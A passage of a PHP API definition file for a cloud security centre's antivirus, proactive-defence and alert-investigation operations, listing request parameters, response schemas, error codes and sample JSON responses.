event. Valid values:'."\n" ."\n" .'* **serious**'."\n" .'* **suspicious**'."\n" .'* **remind**'."\n", 'type' => 'string', 'example' => 'serious', ], 'EventName' => [ 'description' => 'The name of the alert event. The value indicates a subtype.'."\n", 'type' => 'string', 'example' => 'Unusual Logon', ], 'LastTimeStamp' => [ 'description' => 'The timestamp when the alert event was last generated. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1682046733628', ], 'Details' => [ 'description' => 'The details of the exception.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The detail of the exception.', 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The format in which the details of the exception are displayed.'."\n" ."\n" .'Valid values:'."\n" ."\n" .'* **text**'."\n" .'* **html**'."\n", 'type' => 'string', 'example' => 'html', ], 'NameDisplay' => [ 'description' => 'The display name of the alert event.'."\n", 'type' => 'string', 'example' => 'Trojan Path', ], 'InfoType' => [ 'description' => 'The display type of the value for ValueDisplay. Valid value:'."\n" ."\n" .'* **download_url**, which indicates a download URL.'."\n", 'type' => 'string', 'example' => 'download_url', ], 'ValueDisplay' => [ 'description' => 'The attribute information about the exception. The information includes the logon time or location of an alert triggered by an unusual logon, and the trojan file path or trojan type of an alert.'."\n", 'type' => 'string', 'example' => 'getopt', ], ], ], ], 'InstanceName' => [ 'description' => 'The name of the instance.'."\n", 'type' => 'string', 'example' => 'i-wz92q7m5hsbgfhdss***', ], 'InternetIp' => [ 'description' => 'The public IP address.'."\n", 'type' => 'string', 'example' => '172.16.XX.XX', ], 'IntranetIp' => [ 'description' => 'The private IP address.'."\n", 'type' => 'string', 'example' => '10.42.XX.XX', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"2DAEF40F-8E1A-550D-8793-99C61C401DD0\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 149\\n },\\n \\"Data\\": [\\n {\\n \\"EventId\\": 911273,\\n \\"Level\\": \\"serious\\",\\n \\"EventName\\": \\"恶意脚本代码执行\\",\\n \\"LastTimeStamp\\": 1682046733628,\\n \\"Details\\": [\\n {\\n \\"Type\\": \\"html\\",\\n \\"NameDisplay\\": \\"Trojan Path\\",\\n \\"InfoType\\": \\"download_url\\",\\n \\"ValueDisplay\\": \\"getopt\\"\\n }\\n ],\\n \\"InstanceName\\": \\"i-wz92q7m5hsbgfhdss***\\",\\n \\"InternetIp\\": \\"172.16.XX.XX\\",\\n \\"IntranetIp\\": \\"10.42.XX.XX\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListVirusScanMachineEvent', ], 'ListVirusScanTask' => [ 'summary' => 'Queries virus scan tasks based on conditions such as the task type, task status, and server information.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'TaskId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the virus scan task.'."\n" ."\n" .'> You can call the [ListVirusScanTask](~~ListVirusScanTask~~) operation to query the ID.'."\n", 'type' => 'string', 'required' => false, 'example' => '1471d8ebb96795b41ede090b9758****', ], ], [ 'name' => 'ScanType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the virus scan task. Valid values:'."\n" ."\n" .'* **system**: automatic scan task'."\n" .'* **user**: custom scan task'."\n", 'type' => 'string', 'required' => false, 'example' => 'user', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the virus scan task. Valid values:'."\n" ."\n" .'* **1**: running'."\n" .'* **2**: complete'."\n" .'* **3**: failed'."\n" .'* **4**: timed out'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'StartTime', 'in' => 'query', 'schema' => [ 'description' => 'The timestamp when the virus scan task started. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1680919232000', ], ], [ 'name' => 'EndTime', 'in' => 'query', 'schema' => [ 'description' => 'The timestamp when the virus scan task ended. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1680919232999', ], ], [ 'name' => 'RootTask', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the virus scan task is the root task.'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'RootTaskId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the root task.'."\n" ."\n" .'> You can call the [GetVirusScanLatestTaskStatistic](~~GetVirusScanLatestTaskStatistic~~) operation to query the ID.'."\n", 'type' => 'string', 'required' => false, 'example' => '89f5d7813bd59dd237580a8664b3xxxx', ], ], [ 'name' => 'MachineName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => 'oracle-win-001****', ], ], [ 'name' => 'InternetIp', 'in' => 'query', 'schema' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => '120.27.XX.XX', ], ], [ 'name' => 'IntranetIp', 'in' => 'query', 'schema' => [ 'description' => 'The private IP address of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => '172.26.XX.XX', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'StatusList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The statuses of virus scan tasks.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The status of the virus scan task. Valid values:'."\n" ."\n" .'* **1**: running'."\n" .'* **2**: complete'."\n" .'* **3**: failed'."\n" .'* **4**: timed out'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], 'required' => false, 'maxItems' => 10, ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '224', ], ], ], 'List' => [ 'description' => 'The returned virus scan tasks.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'TaskId' => [ 'description' => 'The ID of the virus scan task.'."\n", 'type' => 'string', 'example' => '2e75557bfa570381f5c516cad9b6xxxx', ], 'ScanType' => [ 'description' => 'The type of the virus scan task. Valid values:'."\n" ."\n" .'* **system**: automatic scan task'."\n" .'* **user**: custom scan task'."\n", 'type' => 'string', 'example' => 'system', ], 'Status' => [ 'description' => 'The status of the virus scan task. Valid values:'."\n" ."\n" .'* **1**: running'."\n" .'* **2**: complete'."\n" .'* **3**: failed'."\n" .'* **4**: timed out'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'StartTime' => [ 'description' => 'The timestamp when the virus scan task started. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1651290987000', ], 'EndTime' => [ 'description' => 'The timestamp when the virus scan task ended. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1662343860051', ], 'InstanceName' => [ 'description' => 'The name of the server.'."\n", 'type' => 'string', 'example' => 'sql-test-0****', ], 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '8.210.XX.XX', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.'."\n", 'type' => 'string', 'example' => '172.25.XX.XX', ], 'TaskName' => [ 'description' => 'The name of the virus scan task.'."\n" ."\n" .'* The value is fixed as **VIRUS_VUL_SCHEDULE_SCAN**, which indicates a virus scan task.'."\n", 'type' => 'string', 'example' => 'VIRUS_VUL_SCHEDULE_SCAN', ], 'Progress' => [ 'description' => 'The progress of the task in percentage.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '62', ], 'ScanPath' => [ 'description' => 'The information about the file that is scanned.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The path to the file.'."\n", 'type' => 'string', 'example' => 'C:/test1', ], ], 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '49e25e0f-bb51-4a5a-a1b3-13a4ddaa****', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 224\\n },\\n \\"List\\": [\\n {\\n \\"TaskId\\": \\"2e75557bfa570381f5c516cad9b6xxxx\\",\\n \\"ScanType\\": \\"system\\",\\n \\"Status\\": 1,\\n \\"StartTime\\": 1651290987000,\\n \\"EndTime\\": 1662343860051,\\n \\"InstanceName\\": \\"sql-test-0****\\",\\n \\"InternetIp\\": \\"8.210.XX.XX\\",\\n \\"IntranetIp\\": \\"172.25.XX.XX\\",\\n \\"TaskName\\": \\"VIRUS_VUL_SCHEDULE_SCAN\\",\\n \\"Progress\\": 62,\\n \\"ScanPath\\": [\\n \\"C:/test1\\"\\n ],\\n \\"Uuid\\": \\"49e25e0f-bb51-4a5a-a1b3-13a4ddaa****\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListVirusScanTask', ], 'GetVirusScanConfig' => [ 'summary' => 'Queries the configurations of a periodic virus scan task.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '168831', 'abilityTreeNodes' => [ 'FEATUREsasE5WAEJ', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'TaskType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the task. Valid values:'."\n" ."\n" .'* **VIRUS_VUL_SCHEDULE_SCAN**: a virus scan task.'."\n", 'type' => 'string', 'required' => false, 'example' => 'VIRUS_VUL_SCHEDULE_SCAN', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '028CF634-5268-5660-9575-48C9ED6BDEFC', ], 'Data' => [ 'description' => 'The data returned if the request was successful.'."\n", 'type' => 'object', 'properties' => [ 'SelectionKey' => [ 'description' => 'The key that stores the asset information.'."\n" ."\n" .'> You can call the [GetAssetSelectionConfig](~~GetAssetSelectionConfig~~) operation to obtain the key value.'."\n", 'type' => 'string', 'example' => '345ddbea-a57f-437e-832f-fb7a1202xxxx', ], 'TaskType' => [ 'description' => 'The type of the task. Valid value:'."\n" ."\n" .'* **VIRUS_VUL_SCHEDULE_SCAN**: a virus scan task.'."\n", 'type' => 'string', 'example' => 'VIRUS_VUL_SCHEDULE_SCAN', ], 'ScanType' => [ 'description' => 'The type of the virus scan task. Valid values:'."\n" ."\n" .'* **system**: automatic scan.'."\n" .'* **user**: custom scan.'."\n", 'type' => 'string', 'example' => 'user', ], 'ScanPath' => [ 'description' => 'The file paths.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The path of the file that was scanned. This parameter is returned if ScanType is set to user.'."\n", 'type' => 'string', 'example' => '/root', ], ], 'PeriodUnit' => [ 'description' => 'The unit of the interval at which virus scan tasks are run.'."\n" ."\n" .'* The value is fixed as **day**.'."\n", 'type' => 'string', 'example' => 'day', ], 'TargetStartTime' => [ 'description' => 'The start time of the virus scan task. The time is a time frame.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'TargetEndTime' => [ 'description' => 'The end time of the virus scan task. The time is a time frame.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '6', ], 'IntervalPeriod' => [ 'description' => 'The interval at which virus scan tasks are run.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '7', ], 'Enable' => [ 'description' => 'Indicates whether the periodic scan feature is enabled. Valid value:'."\n" ."\n" .'* **1**: The feature is enabled'."\n" .'* **0**: The feature is disabled.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ConfigId' => [ 'description' => 'The ID of the task configuration.'."\n" ."\n" .'> You can call the [DescribeCycleTaskList](~~DescribeCycleTaskList~~) operation to query the IDs of task configurations.'."\n", 'type' => 'string', 'example' => '97a1fed216908e417407344e1505xxxx', ], 'AdditionType' => [ 'description' => 'Extended scan types.', 'type' => 'array', 'items' => [ 'description' => 'Extended scan types: '."\n" ."\n" .'- **SCAN_MEMORY**: Memory scan', 'type' => 'string', 'example' => 'SCAN_MEMORY', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"028CF634-5268-5660-9575-48C9ED6BDEFC\\",\\n \\"Data\\": {\\n \\"SelectionKey\\": \\"345ddbea-a57f-437e-832f-fb7a1202xxxx\\",\\n \\"TaskType\\": \\"VIRUS_VUL_SCHEDULE_SCAN\\",\\n \\"ScanType\\": \\"user\\",\\n \\"ScanPath\\": [\\n \\"/root\\"\\n ],\\n \\"PeriodUnit\\": \\"day\\",\\n \\"TargetStartTime\\": 0,\\n \\"TargetEndTime\\": 6,\\n \\"IntervalPeriod\\": 7,\\n \\"Enable\\": 1,\\n \\"ConfigId\\": \\"97a1fed216908e417407344e1505xxxx\\",\\n \\"AdditionType\\": [\\n \\"SCAN_MEMORY\\"\\n ]\\n }\\n}","type":"json"}]', 'title' => 'GetVirusScanConfig', ], 'DescribeScanTaskProgress' => [ 'summary' => 'Queries the progress of a virus scan task.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'TaskId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the virus scan task.'."\n" ."\n" .'> You can call the [StartVirusScanTask](~~StartVirusScanTask~~) operation to query the IDs of virus scan tasks.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '282832', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'TargetInfo' => [ 'description' => 'The information about the asset on which the virus scan task runs. The value is a string that consists of JSON arrays. Each element in a JSON array is a JSON struct that contains the following fields:'."\n" ."\n" .'* **type**: the type of the asset on which you want to perform a virus scan task. Valid values:'."\n" ."\n" .' * **groupId**: server group.'."\n" .' * **uuid**: server.'."\n" ."\n" .'* **name**: the name of the server group or server.'."\n" ."\n" .'* **target**: the asset on which the virus scan task runs. The value of this field varies based on the value of the type field.'."\n" ."\n" .' * If the **type** field is set to **groupId**, the value of this field is the ID of the server group.'."\n" .' * If the **type** field is set to **uuid**, the value of this field is the universally unique identifier (UUID) of the server.'."\n", 'type' => 'string', 'example' => '[{"type":"uuid","name":"host001","target":"503201a7-14c6-4280-801b-1169ed42****"}]', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.', 'type' => 'string', 'example' => 'EA15BA8A-D631-4375-8D40-CB7C769B0279', ], 'ScanTaskProgress' => [ 'description' => 'The progress of the virus scan task. Valid values:'."\n" ."\n" .'* **init**: The task is being initialized.'."\n" .'* **Processing**: The task is running.'."\n" .'* **Success**: The task is complete.'."\n" .'* **Failed**: The task fails.'."\n", 'type' => 'string', 'example' => 'Success', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"TargetInfo\\": \\"[{\\\\\\"type\\\\\\":\\\\\\"uuid\\\\\\",\\\\\\"name\\\\\\":\\\\\\"host001\\\\\\",\\\\\\"target\\\\\\":\\\\\\"503201a7-14c6-4280-801b-1169ed42****\\\\\\"}]\\",\\n \\"RequestId\\": \\"EA15BA8A-D631-4375-8D40-CB7C769B0279\\",\\n \\"ScanTaskProgress\\": \\"Success\\"\\n}","errorExample":""},{"type":"xml","example":"\\n [{\\"type\\":\\"uuid\\",\\"name\\":\\"host001\\",\\"target\\":\\"503201a7-14c6-4280-801b-1169ed42****\\"}]\\n EA15BA8A-D631-4375-8D40-CB7C769B0279\\n Success\\n","errorExample":""}]', 'title' => 'DescribeScanTaskProgress', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'OperateSuspiciousTargetConfig' => [ 'summary' => 'Configures the scope on which proactive defense takes effect.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.2.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of proactive defense. Valid Values:'."\n" ."\n" .'* **auto_breaking**: automatic blocking'."\n" .'* **webshell_cloud_breaking**: webshell defense'."\n" .'* **alinet**: malicious behavior defense'."\n" .'* **ransomware_breaking**: ransomware capture'."\n" .'* **alisecguard**: client protection'."\n", 'type' => 'string', 'required' => true, 'example' => 'auto_breaking', ], ], [ 'name' => 'TargetType', 'in' => 'query', 'schema' => [ 'description' => 'The dimension from which you manage proactive defense. Only the server UUID dimension is supported.'."\n" ."\n" .'Set the value to **uuid**.'."\n", 'type' => 'string', 'required' => true, 'example' => 'uuid', ], ], [ 'name' => 'TargetOperations', 'in' => 'query', 'schema' => [ 'description' => 'The configuration of proactive defense for your server. The value includes the following fields:'."\n" ."\n" .'* **targetType**: specifies the dimension from which you manage proactive defense. UUIDs are supported. Set the value to **uuid**.'."\n" .'* **target**: specifies the UUID of the server for which you want to configure proactive defense.'."\n" .'* **flag**: specifies whether to enable or disable proactive defense for your server. Valid values are **add** and **del**. The value add indicates that proactive defense will be enabled for your server. The value del indicates that proactive defense will be disabled for your server.'."\n", 'type' => 'string', 'required' => true, 'example' => '"[{"targetType":"uuid","target":"0585f81a-dd84-4ddf-9971-f59d12345678","flag":"add"},{"targetType":"uuid","target":"01acfd9d-e6a4-4e61-b9eb-aae012345678","flag":"add"},{"targetType":"uuid","target":"04a0e735-ad32-4835-b635-045812345678","flag":"add"}]"', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'ABCD-PSD2-5256-1DSA-4222-JHBN', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'ConsoleError', 'errorMessage' => 'The error message is %s %s.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"ABCD-PSD2-5256-1DSA-4222-JHBN\\"\\n}","errorExample":""},{"type":"xml","example":"\\n ABCD-PSD2-5256-1DSA-4222-JHBN\\n","errorExample":""}]', 'title' => 'OperateSuspiciousTargetConfig', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'OperateVirusEvents' => [ 'summary' => 'Handles alert events that are generated by the antivirus feature. You can perform in-depth detection and removal, add alert events to the whitelist, ignore alert events, or manually handle alert events.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '92417', 'abilityTreeNodes' => [ 'FEATUREsasE5WAEJ', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'OperationCode', 'in' => 'query', 'schema' => [ 'description' => 'The operation that you want to perform on the alert events. Valid values:'."\n" ."\n" .'* **default**: performs in-depth detection and removal'."\n" .'* **ignore**: ignores the alert event'."\n" .'* **advance_mark_mis_info**: adds the alert events to the whitelist'."\n" .'* **manual_handled**: marks the alert events as manually handled'."\n", 'type' => 'string', 'required' => true, 'example' => 'default', ], ], [ 'name' => 'OperationRange', 'in' => 'query', 'schema' => [ 'description' => 'The handling scope.'."\n", 'type' => 'string', 'required' => false, 'example' => '[{\\"type\\":\\"machine\\",\\"list\\":[\\"xxxxxxxxx-4cbf-4ca6-a1b7-8a09d1f86ab0\\"]}]', ], ], [ 'name' => 'OperationAll', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to handle all alert events. Valid values:'."\n" ."\n" .'* **1**: yes'."\n" .'* **0**: no'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '0', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'TaskId' => [ 'description' => 'The ID of the task to handle multiple alert events at a time.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => 'B72BEC03-001C-5C77-A4BB-1E6XXXXXXX', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TaskId\\": 1,\\n \\"RequestId\\": \\"B72BEC03-001C-5C77-A4BB-1E6XXXXXXX\\"\\n}","type":"json"}]', 'title' => 'OperateVirusEvents', ], 'DescribeGraph4InvestigationOnline' => [ 'summary' => 'Alert Event Investigation', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92083', 'abilityTreeNodes' => [ 'FEATUREsas731ZAS', ], ], 'parameters' => [ [ 'name' => 'Namespace', 'in' => 'query', 'schema' => [ 'title' => '命名空间，图名称', 'description' => 'The namespace of the graph, which is fixed as: hundun_dc_online.', 'type' => 'string', 'required' => true, 'example' => 'hundun_dc_online', ], ], [ 'name' => 'AnomalyUuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the alert event asset. You can call [DescribeSuspEvents](~~DescribeSuspEvents~~) to obtain the asset UUID, with the value path being: data.SuspEvents[index].Uuid.', 'type' => 'string', 'required' => false, 'example' => '3502e4b0-f362-4059-84a2-f47fa2b5exxx', ], ], [ 'name' => 'AnomalyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the alert event. You can call [DescribeSuspEvents](~~DescribeSuspEvents~~) to obtain the alert event ID, with the value path being: data.SuspEvents[index].UniqueInfo.', 'type' => 'string', 'required' => false, 'example' => '786fc80896b25422b5324cb6e57bxxxx', ], ], [ 'name' => 'VertexId', 'in' => 'query', 'schema' => [ 'description' => 'Vertex ID. This does not need to be proactively provided.', 'type' => 'string', 'required' => false, 'example' => '29872354f741b1b044b8a9b4e2ab****', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'Sets the language type for the request and response messages. The default is **zh**. Values:'."\n" ."\n" .'- **zh**: Chinese'."\n" .'- **en**: English', 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult', 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'Data', 'type' => 'object', 'properties' => [ 'EntityTypeList' => [ 'description' => 'List of vertex types.', 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'DisplayOrder' => [ 'description' => 'Display order', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'DisplayColor' => [ 'description' => 'Vertex rendering color.', 'type' => 'string', 'example' => '#fff', ], 'DisplayIcon' => [ 'description' => 'Vertex icon.', 'type' => 'string', 'example' => 'https://img.alicdn.com/tfs/TB176P5OgDqK1RjSZSyXXaxEVXa-49-48.png', ], 'Name' => [ 'description' => 'Vertex name.', 'type' => 'string', 'example' => 'alert', ], 'Id' => [ 'description' => 'Node type ID.', 'type' => 'string', 'example' => '1', ], ], ], ], 'EdgeList' => [ 'description' => 'List of edges.', 'type' => 'array', 'items' => [ 'description' => 'End of the edge.', 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'Edge name.', 'type' => 'string', 'example' => 'bash->apt-get', ], 'EndId' => [ 'description' => 'ID of the end point of the edge.', 'type' => 'string', 'example' => 'f944c2362c7e111dee16f0e70ad2xxxx', ], 'EndType' => [ 'description' => 'The type of the end point of the current edge. Possible values include but are not limited to:'."\n" .'- **process**: Process'."\n" .'- **file**: File'."\n" .'- **alert**: Alert'."\n" .'- **ip**: IP address'."\n" .'- **domain**: Domain', 'type' => 'string', 'example' => 'process', ], 'StartId' => [ 'description' => 'Start vertex id of edge.', 'type' => 'string', 'example' => 'f944c2362c7e111dee16f0e70ad2xxxx', ], 'StartType' => [ 'description' => 'The type of the starting point of the edge. Possible values include, but are not limited to:'."\n" .'- **process**： Process'."\n" .'- **file**： File'."\n" .'- **alert**： Alert'."\n" .'- **ip**： IP address'."\n" .'- **domain**： Domain', 'type' => 'string', 'example' => 'file', ], 'Time' => [ 'description' => 'The time when the edge was established.', 'type' => 'string', 'example' => '2024-07-01 15:25:46', ], 'Type' => [ 'description' => 'The type of the edge.', 'type' => 'string', 'example' => 'process_spawn_process', ], ], ], ], 'VertexList' => [ 'description' => 'List of vertices.', 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Uuid' => [ 'title' => 'uuid', 'description' => 'Asset UUID.', 'type' => 'string', 'example' => '5c081b02-f66a-47a4-bd2f-79ee3eafxxxx', ], 'Type' => [ 'title' => '顶点类型', 'description' => 'Vertex type.', 'type' => 'string', 'example' => 'alert', ], 'Name' => [ 'title' => '顶点名称', 'description' => 'Vertex name.', 'type' => 'string', 'example' => '1a79b3a10ad5e6cad090dd697a7axxxxx', ], 'Time' => [ 'title' => '时间', 'description' => 'Time.', 'type' => 'string', 'example' => '2024-07-02 16:14:01', ], 'Properties' => [ 'title' => '属性', 'description' => 'Properties.', 'type' => 'string', 'example' => '{\'DomainName\': {\'SupportScratchDetection\': False, \'Description\': \'The name of the domain.\', \'Required\': True, \'UpdateAllowed\': False, \'Type\': \'string\', \'Immutable\': False}}', ], 'NeighborList' => [ 'description' => 'List of neighboring vertices of the current vertex.', 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'HasMore' => [ 'title' => '是否有更多', 'description' => 'Indicates whether there are more neighboring vertices.', 'type' => 'boolean', 'example' => 'False', ], 'Count' => [ 'title' => '数量', 'description' => 'Number of neighboring nodes.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Type' => [ 'title' => '邻居节点类型', 'description' => 'Neighbor node type.', 'type' => 'string', 'example' => 'alert', ], ], ], ], ], ], ], 'RelationTypeList' => [ 'description' => 'List of edge types.', 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'Name of the edge.', 'type' => 'string', 'example' => 'spawn process', ], 'Directed' => [ 'description' => 'Direction of the edge. Possible values:'."\n" .'- **1** ： Forward'."\n" .'- **0**： Reverse', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'DisplayColor' => [ 'description' => 'Render color of the edge.', 'type' => 'string', 'example' => '#fff', ], 'DisplayIcon' => [ 'description' => 'Icon style of the edge', 'type' => 'string', 'example' => 